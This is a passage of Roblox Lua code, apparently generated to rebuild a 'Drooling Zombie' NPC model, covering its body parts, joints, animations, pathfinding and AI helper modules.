startPoint = hitPoint
end
end
--print("making new path")
local newTarget = target
local ray = Ray.new(target + Vector3.new(0,-3,0), Vector3.new(0, -100, 0))
local hitPart, hitPoint = game.Workspace:FindPartOnRay(ray, character)
if hitPoint then
if (hitPoint - target).magnitude > 4 then
newTarget = newTarget * Vector3.new(1,0,1) + Vector3.new(0,3,0)
end
end
--local newTarget = Vector3.new(1,0,1) * target + Vector3.new(0, 2, 0)
path = PathfindingService:ComputeSmoothPathAsync(startPoint, newTarget, 500)
if path.Status ~= Enum.PathStatus.Success then
--print(tostring(path.Status))
end
--path = PathfindingService:ComputeRawPathAsync(startPoint, target, 500)
-- game.Workspace.Points:ClearAllChildren()
-- local ps = path:GetPointCoordinates()
-- for _, point in pairs(ps) do
-- local part = Instance.new("Part", game.Workspace.Points)
-- part.CanCollide = false
-- part.Anchored = true
-- part.FormFactor = Enum.FormFactor.Custom
-- part.Size = Vector3.new(1,1,1)
-- part.Position = point
-- end
currentPointIndex = 1
lastTargetPos = target
end
if path then
local points = path:GetPointCoordinates()
if currentPointIndex < #points then
local currentPoint = points[currentPointIndex]
local distance = (character.HumanoidRootPart.Position - currentPoint).magnitude
if distance < NextPointThreshold then
currentPointIndex = currentPointIndex + 1
end
character.Humanoid:MoveTo(points[currentPointIndex])
if points[currentPointIndex].Y - character.HumanoidRootPart.Position.Y > JumpThreshold then
character.Humanoid.Jump = true
end
else
character.Humanoid:MoveTo(target)
end
end
end
return this
end
return PathfindingUtility
end))
Configuration48.Name = "Configurations"
Configuration48.Parent = Model2
IntValue49.Name = "Damage"
IntValue49.Parent = Configuration48
IntValue49.Value = 30
BoolValue50.Name = "Debug"
BoolValue50.Parent = Configuration48
IntValue51.Name = "FieldOfView"
IntValue51.Parent = Configuration48
IntValue51.Value = 180
IntValue52.Name = "AggroRange"
IntValue52.Parent = Configuration48
IntValue52.Value = 200
Configuration53.Name = "Animations"
Configuration53.Parent = Model2
Animation54.Name = "Attack"
Animation54.Parent = Configuration53
Animation54.AnimationId = "http://www.roblox.com/asset/?id=180416148"
Animation55.Name = "Arms"
Animation55.Parent = Configuration53
Animation55.AnimationId = "http://www.roblox.com/asset/?id=183294396"
CharacterMesh56.Name = "Zombie Left Arm"
CharacterMesh56.Parent = Model2
CharacterMesh56.BodyPart = Enum.BodyPart.LeftArm
CharacterMesh56.MeshId = 37683097
CharacterMesh56.OverlayTextureId = 37686282
CharacterMesh57.Name = "Zombie Left Leg"
CharacterMesh57.Parent = Model2
CharacterMesh57.BodyPart = Enum.BodyPart.LeftLeg
CharacterMesh57.MeshId = 37683150
CharacterMesh57.OverlayTextureId = 37687646
CharacterMesh58.Name = "Zombie Right Arm"
CharacterMesh58.Parent = Model2
CharacterMesh58.BodyPart = Enum.BodyPart.RightArm
CharacterMesh58.MeshId = 37683174
CharacterMesh58.OverlayTextureId = 37686282
CharacterMesh59.Name = "Zombie Right Leg"
CharacterMesh59.Parent = Model2
CharacterMesh59.BodyPart = Enum.BodyPart.RightLeg
CharacterMesh59.MeshId = 37683227
CharacterMesh59.OverlayTextureId = 37687646
CharacterMesh60.Name = "Zombie torso"
CharacterMesh60.Parent = Model2
CharacterMesh60.BodyPart = Enum.BodyPart.Torso
CharacterMesh60.MeshId = 37683263
CharacterMesh60.OverlayTextureId = 37686282
Sound61.Name = "Moan"
Sound61.Parent = Model2
Sound61.Pitch = 0.15000000596046
Sound61.PlaybackSpeed = 0.15000000596046
Sound61.Volume = 0.050000000745058
BodyColors62.Parent = Model2
BodyColors62.HeadColor = BrickColor.new("Camo")
BodyColors62.HeadColor3 = Color3.new(0.227451, 0.490196, 0.0823529)
BodyColors62.LeftArmColor = BrickColor.new("Earth green")
BodyColors62.LeftArmColor3 = Color3.new(0.152941, 0.27451, 0.176471)
BodyColors62.LeftLegColor = BrickColor.new("Earth green")
BodyColors62.LeftLegColor3 = Color3.new(0.152941, 0.27451, 0.176471)
BodyColors62.RightArmColor = BrickColor.new("Earth green")
BodyColors62.RightArmColor3 = Color3.new(0.152941, 0.27451, 0.176471)
BodyColors62.RightLegColor = BrickColor.new("Earth green")
BodyColors62.RightLegColor3 = Color3.new(0.152941, 0.27451, 0.176471)
BodyColors62.TorsoColor = BrickColor.new("Earth green")
BodyColors62.TorsoColor3 = Color3.new(0.152941, 0.27451, 0.176471)
Model63.Name = "Drooling Zombie"
Model63.Parent = Model1
Part64.Name = "HumanoidRootPart"
Part64.Parent = Model63
Part64.CFrame = CFrame.new(161.5, 2.99998856, -95, 0, 0, -1, 7.70369498e-34, 0.99999547, 0, 1, 7.70369498e-34, 0)
Part64.Orientation = Vector3.new(0, -90, 0)
Part64.Position = Vector3.new(161.5, 2.99998856, -95)
Part64.Rotation = Vector3.new(0, -90, 0)
Part64.Color = Color3.new(0.152941, 0.27451, 0.176471)
Part64.Transparency = 1
Part64.Size = Vector3.new(2, 2, 1)
Part64.BottomSurface = Enum.SurfaceType.Smooth
Part64.BrickColor = BrickColor.new("Earth green")
Part64.Material = Enum.Material.WoodPlanks
Part64.TopSurface = Enum.SurfaceType.Smooth
Part64.brickColor = BrickColor.new("Earth green")
Part64.FormFactor = Enum.FormFactor.Symmetric
Part64.formFactor = Enum.FormFactor.Symmetric
Motor6D65.Name = "Root Hip"
Motor6D65.Parent = Part64
Motor6D65.MaxVelocity = 0.10000000149012
Motor6D65.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Motor6D65.C1 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Motor6D65.Part0 = Part64
Motor6D65.Part1 = Part67
Motor6D65.part1 = Part67
BodyForce66.Name = "RepulsionForce"
BodyForce66.Parent = Part64
BodyForce66.Force = Vector3.new(0, 0, 0)
BodyForce66.force = Vector3.new(0, 0, 0)
Part67.Name = "Torso"
Part67.Parent = Model63
Part67.CFrame = CFrame.new(161.5, 2.99998856, -95, 0, 0, -1, 7.70369498e-34, 0.99999547, 0, 1, 7.70369498e-34, 0)
Part67.Orientation = Vector3.new(0, -90, 0)
Part67.Position = Vector3.new(161.5, 2.99998856, -95)
Part67.Rotation = Vector3.new(0, -90, 0)
Part67.Color = Color3.new(0.156863, 0.498039, 0.278431)
Part67.Size = Vector3.new(2, 2, 1)
Part67.BottomSurface = Enum.SurfaceType.Smooth
Part67.BrickColor = BrickColor.new("Dark green")
Part67.Material = Enum.Material.WoodPlanks
Part67.TopSurface = Enum.SurfaceType.Smooth
Part67.brickColor = BrickColor.new("Dark green")
Part67.FormFactor = Enum.FormFactor.Symmetric
Part67.formFactor = Enum.FormFactor.Symmetric
Motor6D68.Name = "Left Hip"
Motor6D68.Parent = Part67
Motor6D68.MaxVelocity = 0.10000000149012
Motor6D68.C0 = CFrame.new(-1, -1, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08)
Motor6D68.C1 = CFrame.new(-0.5, 1, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08)
Motor6D68.Part0 = Part67
Motor6D68.Part1 = Part73
Motor6D68.part1 = Part73
Motor6D69.Name = "Right Hip"
Motor6D69.Parent = Part67
Motor6D69.MaxVelocity = 0.10000000149012
Motor6D69.C0 = CFrame.new(1, -1, 0, -4.37113883e-08, 0, 1, -0, 0.99999994, 0, -1, 0, -4.37113883e-08)
Motor6D69.C1 = CFrame.new(0.5, 1, 0, -4.37113883e-08, 0, 1, 0, 0.99999994, 0, -1, 0, -4.37113883e-08)
Motor6D69.Part0 = Part67
Motor6D69.Part1 = Part74
Motor6D69.part1 = Part74
Motor6D70.Name = "Left Shoulder"
Motor6D70.Parent = Part67
Motor6D70.MaxVelocity = 0.10000000149012
Motor6D70.C0 = CFrame.new(-1, 0.5, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08)
Motor6D70.C1 = CFrame.new(0.5, 0.5, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08)
Motor6D70.Part0 = Part67
Motor6D70.Part1 = Part75
Motor6D70.part1 = Part75
Motor6D71.Name = "Right Shoulder"
Motor6D71.Parent = Part67
Motor6D71.MaxVelocity = 0.10000000149012
Motor6D71.C0 = CFrame.new(1, 0.5, 0, -4.37113883e-08, 0, 1, -0, 0.99999994, 0, -1, 0, -4.37113883e-08)
Motor6D71.C1 = CFrame.new(-0.5, 0.5, 0, -4.37113883e-08, 0, 1, 0, 0.99999994, 0, -1, 0, -4.37113883e-08)
Motor6D71.Part0 = Part67
Motor6D71.Part1 = Part76
Motor6D71.part1 = Part76
Motor6D72.Name = "Neck"
Motor6D72.Parent = Part67
Motor6D72.MaxVelocity = 0.10000000149012
Motor6D72.C0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Motor6D72.C1 = CFrame.new(0, -0.5, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Motor6D72.Part0 = Part67
Motor6D72.Part1 = Part77
Motor6D72.part1 = Part77
Part73.Name = "Left Leg"
Part73.Parent = Model63
Part73.CFrame = CFrame.new(161.5, 0.999997735, -95.5, 0, 0, -1, 7.70369498e-34, 0.999995351, 0, 1, 7.70369406e-34, 0)
Part73.Orientation = Vector3.new(0, -90, 0)
Part73.Position = Vector3.new(161.5, 0.999997735, -95.5)
Part73.Rotation = Vector3.new(0, -90, 0)
Part73.Color = Color3.new(0.0509804, 0.411765, 0.67451)
Part73.Size = Vector3.new(1, 2, 1)
Part73.BottomSurface = Enum.SurfaceType.Smooth
Part73.BrickColor = BrickColor.new("Bright blue")
Part73.CanCollide = false
Part73.Material = Enum.Material.WoodPlanks
Part73.TopSurface = Enum.SurfaceType.Smooth
Part73.brickColor = BrickColor.new("Bright blue")
Part73.FormFactor = Enum.FormFactor.Symmetric
Part73.formFactor = Enum.FormFactor.Symmetric
Part74.Name = "Right Leg"
Part74.Parent = Model63
Part74.CFrame = CFrame.new(161.5, 0.999997735, -94.5, 0, 0, -1, 7.70369498e-34, 0.999995351, 0, 1, 7.70369406e-34, 0)
Part74.Orientation = Vector3.new(0, -90, 0)
Part74.Position = Vector3.new(161.5, 0.999997735, -94.5)
Part74.Rotation = Vector3.new(0, -90, 0)
Part74.Color = Color3.new(0.0509804, 0.411765, 0.67451)
Part74.Size = Vector3.new(1, 2, 1)
Part74.BottomSurface = Enum.SurfaceType.Smooth
Part74.BrickColor = BrickColor.new("Bright blue")
Part74.CanCollide = false
Part74.Material = Enum.Material.WoodPlanks
Part74.TopSurface = Enum.SurfaceType.Smooth
Part74.brickColor = BrickColor.new("Bright blue")
Part74.FormFactor = Enum.FormFactor.Symmetric
Part74.formFactor = Enum.FormFactor.Symmetric
Part75.Name = "Left Arm"
Part75.Parent = Model63
Part75.CFrame = CFrame.new(161.5, 2.99998856, -96.5, 0, 0, -1, 7.70369498e-34, 0.999995351, 0, 1, 7.70369406e-34, 0)
Part75.Orientation = Vector3.new(0, -90, 0)
Part75.Position = Vector3.new(161.5, 2.99998856, -96.5)
Part75.Rotation = Vector3.new(0, -90, 0)
Part75.Color = Color3.new(0.992157, 0.917647, 0.552941)
Part75.Size = Vector3.new(1, 2, 1)
Part75.BottomSurface = Enum.SurfaceType.Smooth
Part75.BrickColor = BrickColor.new("Cool yellow")
Part75.CanCollide = false
Part75.Material = Enum.Material.WoodPlanks
Part75.TopSurface = Enum.SurfaceType.Smooth
Part75.brickColor = BrickColor.new("Cool yellow")
Part75.FormFactor = Enum.FormFactor.Symmetric
Part75.formFactor = Enum.FormFactor.Symmetric
Part76.Name = "Right Arm"
Part76.Parent = Model63
Part76.CFrame = CFrame.new(161.5, 2.99998856, -93.5, 0, 0, -1, 7.70369498e-34, 0.999995351, 0, 1, 7.70369406e-34, 0)
Part76.Orientation = Vector3.new(0, -90, 0)
Part76.Position = Vector3.new(161.5, 2.99998856, -93.5)
Part76.Rotation = Vector3.new(0, -90, 0)
Part76.Color = Color3.new(0.992157, 0.917647, 0.552941)
Part76.Size = Vector3.new(1, 2, 1)
Part76.BottomSurface = Enum.SurfaceType.Smooth
Part76.BrickColor = BrickColor.new("Cool yellow")
Part76.CanCollide = false
Part76.Material = Enum.Material.WoodPlanks
Part76.TopSurface = Enum.SurfaceType.Smooth
Part76.brickColor = BrickColor.new("Cool yellow")
Part76.FormFactor = Enum.FormFactor.Symmetric
Part76.formFactor = Enum.FormFactor.Symmetric
Part77.Name = "Head"
Part77.Parent = Model63
Part77.CFrame = CFrame.new(161.5, 4.49998188, -95, 0, 0, -1, 7.70369498e-34, 0.99999547, 0, 1, 7.70369498e-34, 0)
Part77.Orientation = Vector3.new(0, -90, 0)
Part77.Position = Vector3.new(161.5, 4.49998188, -95)
Part77.Rotation = Vector3.new(0, -90, 0)
Part77.Color = Color3.new(0.992157, 0.917647, 0.552941)
Part77.Size = Vector3.new(2, 1, 1)
Part77.BottomSurface = Enum.SurfaceType.Smooth
Part77.BrickColor = BrickColor.new("Cool yellow")
Part77.Material = Enum.Material.WoodPlanks
Part77.TopSurface = Enum.SurfaceType.Smooth
Part77.brickColor = BrickColor.new("Cool yellow")
Part77.FormFactor = Enum.FormFactor.Symmetric
Part77.formFactor = Enum.FormFactor.Symmetric
Decal78.Name = "Face"
Decal78.Parent = Part77
Decal78.Texture = "http://www.roblox.com/asset/?id=7074882"
SpecialMesh79.Parent = Part77
SpecialMesh79.Scale = Vector3.new(1.25, 1.25, 1.25)
Humanoid80.Parent = Model63
Humanoid80.LeftLeg = Part73
Humanoid80.RightLeg = Part74
Humanoid80.Torso = Part64
Humanoid80.WalkSpeed = 10
Script81.Name = "Animate"
Script81.Parent = Model63
table.insert(cors,sandbox(Script81,function()
function waitForChild(parent, childName)
local child = parent:findFirstChild(childName)
if child then return child end
while true do
child = parent.ChildAdded:wait()
if child.Name==childName then return child end
end
end
local Figure = script.Parent
local Torso = waitForChild(Figure, "Torso")
local RightShoulder = waitForChild(Torso, "Right Shoulder")
local LeftShoulder = waitForChild(Torso, "Left Shoulder")
local RightHip = waitForChild(Torso, "Right Hip")
local LeftHip = waitForChild(Torso, "Left Hip")
local Neck = waitForChild(Torso, "Neck")
local Humanoid = waitForChild(Figure, "Humanoid")
local pose = "Standing"
local currentAnim = ""
local currentAnimTrack = nil
local currentAnimKeyframeHandler = nil
local currentAnimSpeed = 1.0
local animTable = {}
local animNames = {
idle = {
{ id = "http://www.roblox.com/asset/?id=125750544", weight = 9 },
{ id = "http://www.roblox.com/asset/?id=125750618", weight = 1 }
},
walk = {
{ id = "http://www.roblox.com/asset/?id=125749145", weight = 10 }
},
run = {
{ id = "run.xml", weight = 10 }
},
jump = {
{ id = "http://www.roblox.com/asset/?id=125750702", weight = 10 }
},
fall = {
{ id = "http://www.roblox.com/asset/?id=125750759", weight = 10 }
},
climb = {
{ id = "http://www.roblox.com/asset/?id=125750800", weight = 10 }
},
toolnone = {
{ id = "http://www.roblox.com/asset/?id=125750867", weight = 10 }
},
toolslash = {
{ id = "http://www.roblox.com/asset/?id=129967390", weight = 10 }
-- { id = "slash.xml", weight = 10 }
},
toollunge = {
{ id = "http://www.roblox.com/asset/?id=129967478", weight = 10 }
},
wave = {
{ id = "http://www.roblox.com/asset/?id=128777973", weight = 10 }
},
point = {
{ id = "http://www.roblox.com/asset/?id=128853357", weight = 10 }
},
dance = {
{ id = "http://www.roblox.com/asset/?id=130018893", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=132546839", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=132546884", weight = 10 }
},
dance2 = {
{ id = "http://www.roblox.com/asset/?id=160934142", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=160934298", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=160934376", weight = 10 }
},
dance3 = {
{ id = "http://www.roblox.com/asset/?id=160934458", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=160934530", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=160934593", weight = 10 }
},
laugh = {
{ id = "http://www.roblox.com/asset/?id=129423131", weight = 10 }
},
cheer = {
{ id = "http://www.roblox.com/asset/?id=129423030", weight = 10 }
},
}
-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
local emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false}
math.randomseed(tick())
function configureAnimationSet(name, fileList)
if (animTable[name] ~= nil) then
for _, connection in pairs(animTable[name].connections) do
connection:disconnect()
end
end
animTable[name] = {}
animTable[name].count = 0
animTable[name].totalWeight = 0
animTable[name].connections = {}
-- check for config values
local config = script:FindFirstChild(name)
if (config ~= nil) then
-- print("Loading anims " .. name)
table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))
table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))
local idx = 1
for _, childPart in pairs(config:GetChildren()) do
if (childPart:IsA("Animation")) then
table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))
animTable[name][idx] = {}
animTable[name][idx].anim = childPart
local weightObject = childPart:FindFirstChild("Weight")
if (weightObject == nil) then
animTable[name][idx].weight = 1
else
animTable[name][idx].weight = weightObject.Value
end
animTable[name].count = animTable[name].count + 1
animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
-- print(name .. " [" .. idx .. "] " .. animTable[name][idx].anim.AnimationId .. " (" .. animTable[name][idx].weight .. ")")
idx = idx + 1
end
end
end
-- fallback to defaults
if (animTable[name].count <= 0) then
for idx, anim in pairs(fileList) do
animTable[name][idx] = {}
animTable[name][idx].anim = Instance.new("Animation")
animTable[name][idx].anim.Name = name
animTable[name][idx].anim.AnimationId = anim.id
animTable[name][idx].weight = anim.weight
animTable[name].count = animTable[name].count + 1
animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
-- print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")")
end
end
end
-- Setup animation objects
function scriptChildModified(child)
local fileList = animNames[child.Name]
if (fileList ~= nil) then
configureAnimationSet(child.Name, fileList)
end
end
script.ChildAdded:connect(scriptChildModified)
script.ChildRemoved:connect(scriptChildModified)
for name, fileList in pairs(animNames) do
configureAnimationSet(name, fileList)
end
-- ANIMATION
-- declarations
local toolAnim = "None"
local toolAnimTime = 0
local jumpAnimTime = 0
local jumpAnimDuration = 0.3
local toolTransitionTime = 0.1
local fallTransitionTime = 0.3
local jumpMaxLimbVelocity = 0.75
-- functions
function stopAllAnimations()
local oldAnim = currentAnim
-- return to idle if finishing an emote
if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
oldAnim = "idle"
end
currentAnim = ""
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop()
currentAnimTrack:Destroy()
currentAnimTrack = nil
end
return oldAnim
end
function setAnimationSpeed(speed)
if speed ~= currentAnimSpeed then
currentAnimSpeed = speed
currentAnimTrack:AdjustSpeed(currentAnimSpeed)
end
end
function keyFrameReachedFunc(frameName)
if (frameName == "End") then
-- print("Keyframe : ".. frameName)
local repeatAnim = stopAllAnimations()
local animSpeed = currentAnimSpeed
playAnimation(repeatAnim, 0.0, Humanoid)
setAnimationSpeed(animSpeed)
end
end
-- Preload animations
function playAnimation(animName, transitionTime, humanoid)
local idleFromEmote = (animName == "idle" and emoteNames[currentAnim] ~= nil)
if (animName ~= currentAnim and not idleFromEmote) then
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop(transitionTime)
currentAnimTrack:Destroy()
end
currentAnimSpeed = 1.0
local roll = math.random(1, animTable[animName].totalWeight)
local origRoll = roll
local idx = 1
while (roll > animTable[animName][idx].weight) do
roll = roll - animTable[animName][idx].weight
idx = idx + 1
end
-- print(animName .. " " .. idx .. " [" .. origRoll .. "]")
local anim = animTable[animName][idx].anim
-- load it to the humanoid; get AnimationTrack
currentAnimTrack = humanoid:LoadAnimation(anim)
-- play the animation
currentAnimTrack:Play(transitionTime)
currentAnim = animName
-- set up keyframe name triggers
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
end
end
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
local toolAnimName = ""
local toolAnimTrack = nil
local currentToolAnimKeyframeHandler = nil
function toolKeyFrameReachedFunc(frameName)
if (frameName == "End") then
-- print("Keyframe : ".. frameName)
local repeatAnim = stopToolAnimations()
playToolAnimation(repeatAnim, 0.0, Humanoid)
end
end
function playToolAnimation(animName, transitionTime, humanoid)
if (animName ~= toolAnimName) then
if (toolAnimTrack ~= nil) then
toolAnimTrack:Stop()
toolAnimTrack:Destroy()
transitionTime = 0
end
local roll = math.random(1, animTable[animName].totalWeight)
local origRoll = roll
local idx = 1
while (roll > animTable[animName][idx].weight) do
roll = roll - animTable[animName][idx].weight
idx = idx + 1
end
-- print(animName .. " * " .. idx .. " [" .. origRoll .. "]")
local anim = animTable[animName][idx].anim
-- load it to the humanoid; get AnimationTrack
toolAnimTrack = humanoid:LoadAnimation(anim)
-- play the animation
toolAnimTrack:Play(transitionTime)
toolAnimName = animName
currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)
end
end
function stopToolAnimations()
local oldAnim = toolAnimName
if (currentToolAnimKeyframeHandler ~= nil) then
currentToolAnimKeyframeHandler:disconnect()
end
toolAnimName = ""
if (toolAnimTrack ~= nil) then
toolAnimTrack:Stop()
toolAnimTrack:Destroy()
toolAnimTrack = nil
end
return oldAnim
end
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
function onRunning(speed)
if speed>0.01 then
playAnimation("walk", 0.1, Humanoid)
pose = "Running"
else
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
end
end
function onDied()
pose = "Dead"
end
function onJumping()
playAnimation("jump", 0.1, Humanoid)
jumpAnimTime = jumpAnimDuration
pose = "Jumping"
end
function onClimbing(speed)
playAnimation("climb", 0.1, Humanoid)
setAnimationSpeed(speed / 12.0)
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
if (jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
end
pose = "FreeFall"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
pose = "Seated"
end
function onPlatformStanding()
pose = "PlatformStanding"
end
function onSwimming(speed)
if speed>0 then
pose = "Running"
else
pose = "Standing"
end
end
function getTool()
for _, kid in ipairs(Figure:GetChildren()) do
if kid.className == "Tool" then return kid end
end
return nil
end
function getToolAnim(tool)
for _, c in ipairs(tool:GetChildren()) do
if c.Name == "toolanim" and c.className == "StringValue" then
return c
end
end
return nil
end
function animateTool()
if (toolAnim == "None") then
playToolAnimation("toolnone", toolTransitionTime, Humanoid)
return
end
if (toolAnim == "Slash") then
playToolAnimation("toolslash", 0, Humanoid)
return
end
if (toolAnim == "Lunge") then
playToolAnimation("toollunge", 0, Humanoid)
return
end
end
function moveSit()
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
RightShoulder:SetDesiredAngle(3.14 /2)
LeftShoulder:SetDesiredAngle(-3.14 /2)
RightHip:SetDesiredAngle(3.14 /2)
LeftHip:SetDesiredAngle(-3.14 /2)
end
local lastTick = 0
function move(time)
local amplitude = 1
local frequency = 1
local deltaTime = time - lastTick
lastTick = time
local climbFudge = 0
local setAngles = false
if (jumpAnimTime > 0) then
jumpAnimTime = jumpAnimTime - deltaTime
end
if (pose == "FreeFall" and jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
elseif (pose == "Seated") then
stopAllAnimations()
moveSit()
return
elseif (pose == "Running") then
playAnimation("walk", 0.1, Humanoid)
elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
-- print("Wha " .. pose)
amplitude = 0.1
frequency = 1
setAngles = true
end
if (setAngles) then
desiredAngle = amplitude * math.sin(time * frequency)
RightShoulder:SetDesiredAngle(desiredAngle + climbFudge)
LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge)
RightHip:SetDesiredAngle(-desiredAngle)
LeftHip:SetDesiredAngle(-desiredAngle)
end
-- Tool Animation handling
local tool = getTool()
if tool then
animStringValueObject = getToolAnim(tool)
if animStringValueObject then
toolAnim = animStringValueObject.Value
-- message recieved, delete StringValue
animStringValueObject.Parent = nil
toolAnimTime = time + .3
end
if time > toolAnimTime then
toolAnimTime = 0
toolAnim = "None"
end
animateTool()
else
stopToolAnimations()
toolAnim = "None"
toolAnimTime = 0
end
end
-- connect events
Humanoid.Died:connect(onDied)
Humanoid.Running:connect(onRunning)
Humanoid.Jumping:connect(onJumping)
Humanoid.Climbing:connect(onClimbing)
Humanoid.GettingUp:connect(onGettingUp)
Humanoid.FreeFalling:connect(onFreeFall)
Humanoid.FallingDown:connect(onFallingDown)
Humanoid.Seated:connect(onSeated)
Humanoid.PlatformStanding:connect(onPlatformStanding)
Humanoid.Swimming:connect(onSwimming)
-- main program
local runService = game:service("RunService");
-- initialize to idle
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
while Figure.Parent~=nil do
local _, time = wait(0.1)
move(time)
end
end))
StringValue82.Name = "climb"
StringValue82.Parent = Script81
Animation83.Name = "ClimbAnim"
Animation83.Parent = StringValue82
Animation83.AnimationId = "http://www.roblox.com/asset/?id=125750800"
StringValue84.Name = "fall"
StringValue84.Parent = Script81
Animation85.Name = "FallAnim"
Animation85.Parent = StringValue84
Animation85.AnimationId = "http://www.roblox.com/asset/?id=125750759"
StringValue86.Name = "idle"
StringValue86.Parent = Script81
Animation87.Name = "Animation1"
Animation87.Parent = StringValue86
Animation87.AnimationId = "http://www.roblox.com/asset/?id=125750544"
NumberValue88.Name = "Weight"
NumberValue88.Parent = Animation87
NumberValue88.Value = 9
Animation89.Name = "Animation2"
Animation89.Parent = StringValue86
Animation89.AnimationId = "http://www.roblox.com/asset/?id=125750618"
NumberValue90.Name = "Weight"
NumberValue90.Parent = Animation89
NumberValue90.Value = 1
StringValue91.Name = "jump"
StringValue91.Parent = Script81
Animation92.Name = "JumpAnim"
Animation92.Parent = StringValue91
Animation92.AnimationId = "http://www.roblox.com/asset/?id=125750702"
StringValue93.Name = "run"
StringValue93.Parent = Script81
Animation94.Name = "RunAnim"
Animation94.Parent = StringValue93
Animation94.AnimationId = "http://www.roblox.com/asset/?id=125749145"
StringValue95.Name = "toolnone"
StringValue95.Parent = Script81
Animation96.Name = "ToolNoneAnim"
Animation96.Parent = StringValue95
Animation96.AnimationId = "http://www.roblox.com/asset/?id=125750867"
StringValue97.Name = "walk"
StringValue97.Parent = Script81
Animation98.Name = "WalkAnim"
Animation98.Parent = StringValue97
Animation98.AnimationId = "http://www.roblox.com/asset/?id=125749145"
Script99.Parent = Model63
table.insert(cors,sandbox(Script99,function()
local zombie = script.Parent
for _, script in pairs(zombie.ModuleScripts:GetChildren()) do
if not game.ServerStorage:FindFirstChild(script.Name) then
script:Clone().Parent = game.ServerStorage
end
end
local AI = require(game.ServerStorage.ROBLOX_ZombieAI).new(zombie)
local DestroyService = require(game.ServerStorage.ROBLOX_DestroyService)
local function clearParts(parent)
for _, part in pairs(parent:GetChildren()) do
clearParts(part)
end
local delay
if parent:IsA("Part") then
delay = math.random(5,10)
else
delay = 11
end
DestroyService:AddItem(parent, delay)
end
zombie.Humanoid.Died:connect(function()
AI.Stop()
math.randomseed(tick())
clearParts(zombie)
script.Disabled = true
end)
local lastMoan = os.time()
math.randomseed(os.time())
while true do
local animationTrack = zombie.Humanoid:LoadAnimation(zombie.Animations.Arms)
animationTrack:Play()
-- local now = os.time()
-- if now - lastMoan > 5 then
-- if math.random() > .3 then
-- zombie.Moan:Play()
---- print("playing moan")
-- lastMoan = now
-- end
-- end
wait(2)
end
end))
BillboardGui100.Parent = Model63
BillboardGui100.Size = UDim2.new(0, 100, 0, 30)
BillboardGui100.StudsOffset = Vector3.new(0, 5, 0)
TextLabel101.Parent = BillboardGui100
TextLabel101.Visible = false
TextLabel101.Size = UDim2.new(1, 0, 1, 0)
TextLabel101.BackgroundColor = BrickColor.new("Institutional white")
TextLabel101.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel101.Font = Enum.Font.SourceSansBold
TextLabel101.FontSize = Enum.FontSize.Size24
TextLabel101.Text = "Idle"
TextLabel101.TextSize = 24
Configuration102.Name = "ModuleScripts"
Configuration102.Parent = Model63
ModuleScript103.Name = "ROBLOX_AIUtilities"
ModuleScript103.Parent = Configuration102
table.insert(cors,sandbox(ModuleScript103,function()
local utility = {}
function utility:WideRayCast(start, target, offset, ignoreList)
local parts = {}
local ray = Ray.new(start, target - start)
local part, point = game.Workspace:FindPartOnRayWithIgnoreList(ray, ignoreList)
if part then table.insert(parts, part) end
local offsetVector = offset * (target - start):Cross(Vector3.FromNormalId(Enum.NormalId.Top)).unit
local ray = Ray.new(start + offsetVector, target - start + offsetVector)
local part, point = game.Workspace:FindPartOnRayWithIgnoreList(ray, ignoreList)
if part then table.insert(parts, part) end
local ray = Ray.new(start - offsetVector, target - start - offsetVector)
local part, point = game.Workspace:FindPartOnRayWithIgnoreList(ray, ignoreList)
if part then table.insert(parts, part) end
return parts
end
function utility:FindNearestPathPoint(path, point, start, target, ignoreList)
local occludePoint = path:CheckOcclusionAsync(point)
if occludePoint > 0 then
utility:WideRayCast(start)
end
end
local maxForce = 15
function utility:GetRepulsionVector(unitPosition, otherUnitsPositions)
local repulsionVector = Vector3.new(0,0,0)
local count = 0
